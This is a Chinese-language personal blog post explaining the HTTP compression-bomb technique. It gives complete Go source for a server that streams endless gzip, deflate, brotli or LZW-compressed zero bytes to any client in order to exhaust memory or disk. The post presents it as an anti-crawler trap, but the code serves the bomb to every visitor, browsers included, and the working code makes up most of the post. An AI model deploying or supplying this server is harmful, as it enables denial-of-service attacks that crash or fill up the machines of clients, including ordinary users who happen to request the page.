a CURD boy's blog.

无限大小 http 压缩炸弹原理与实现

2022.01.26

前段时间看到了一个使用gzip炸弹来进行反爬虫的思路,利用对空字节的高压缩比来消耗爬虫的内存资源,感觉比较有意思,于是自己手动实现了一下。

基本思路

客户端(浏览器、爬虫)在发起HTTP请求时,会在HTTP头Accept-Encoding字段中添加自己支持的压缩算法,比较常见的有:gzip、deflate、br。服务端则根据客户端支持的方式,对回包进行压缩,返回给客户端。客户端对回包进行解压缩、渲染。 那么就可以利用这个流程,在客户端进行请求时,返回一个超高压缩比的文件,客户端在对其进行解压的过程中会占用大量内存,导致崩溃或其他后果。

思路改进

  1. 通过对网上的相关信息进行搜索,发现大部分信息都局限于使用dd if=/dev/zero of=boom.gz bs=1M count=1024这种方式来生成压缩包,通过http服务将其返回,我觉得这种方式不够热情,我国传统观念上讲究帮人帮到底,送佛送到西,对于gzip等流式压缩,我们完全可以在服务端无限的扩增这个炸弹,直到对方不再接受信息。
  2. 大部分文章都局限于gzip炸弹,对于deflate、br等使用同样广泛的压缩方法鲜有讨论,于是顺手一并对其进行了实现。
  3. 其实也可以通过文件下载的方式来传递压缩炸弹,如果对方的文件系统没有开启压缩的话,可以很好的消耗对方的硬盘空间

直接上代码

Github链接: https://github.com/zigitn/simple-http-compress-bomb

package main

import (
	"compress/flate"
	"compress/gzip"
	"compress/lzw"
	"fmt"
	"strings"

	"github.com/andybalholm/brotli"
	"github.com/gin-gonic/gin"
)

var blackHole = make([]byte, 8192)

func main() {
	r := gin.New()
	r.Any("/", handler)
	r.GET("/download", handler)
	err := r.Run(":9000")
	if err != nil {
		fmt.Println(err)
		return
	}
}

func handler(c *gin.Context) {
	if c.Request.URL.Path == "/" {
		c.Header("content-type", "text/html; charset=UTF-8")
	}
	acceptEncodingsStr := c.GetHeader("accept-encoding")
	acceptEncodings := strings.Split(acceptEncodingsStr, ", ")
	if len(acceptEncodings) == 0 {
		return
	}
	switch acceptEncodings[0] {
	case "gzip":
		fmt.Println("gzip")
		c.Header("Content-Encoding", "gzip")
		writer, err := gzip.NewWriterLevel(c.Writer, gzip.BestSpeed)
		if err != nil {
			fmt.Println(err)
			return
		}
		for err == nil {
			_, err = writer.Write(blackHole)
		}
		fmt.Println(err)
		return
	case "deflate":
		fmt.Println("deflate")
		c.Header("Content-Encoding", "deflate")
		writer, err := flate.NewWriter(c.Writer, flate.BestSpeed)
		if err != nil {
			fmt.Println(err)
			return
		}
		for err == nil {
			_, err = writer.Write(blackHole)
		}
		fmt.Println(err)
		return
	case "br":
		fmt.Println("br")
		c.Header("Content-Encoding", "br")
		writer := brotli.NewWriterLevel(c.Writer, brotli.BestSpeed)
		var err error
		for err == nil {
			_, err = writer.Write(blackHole)
		}
		fmt.Println(err)
	case "compress":
		fmt.Println("compress")
		c.Header("Content-Encoding", "compress")
		writer := lzw.NewWriter(c.Writer, lzw.LSB, 8)
		var err error
		for err == nil {
			_, err = writer.Write(blackHole)
		}
		fmt.Println(err)
	default:
		return
	}
}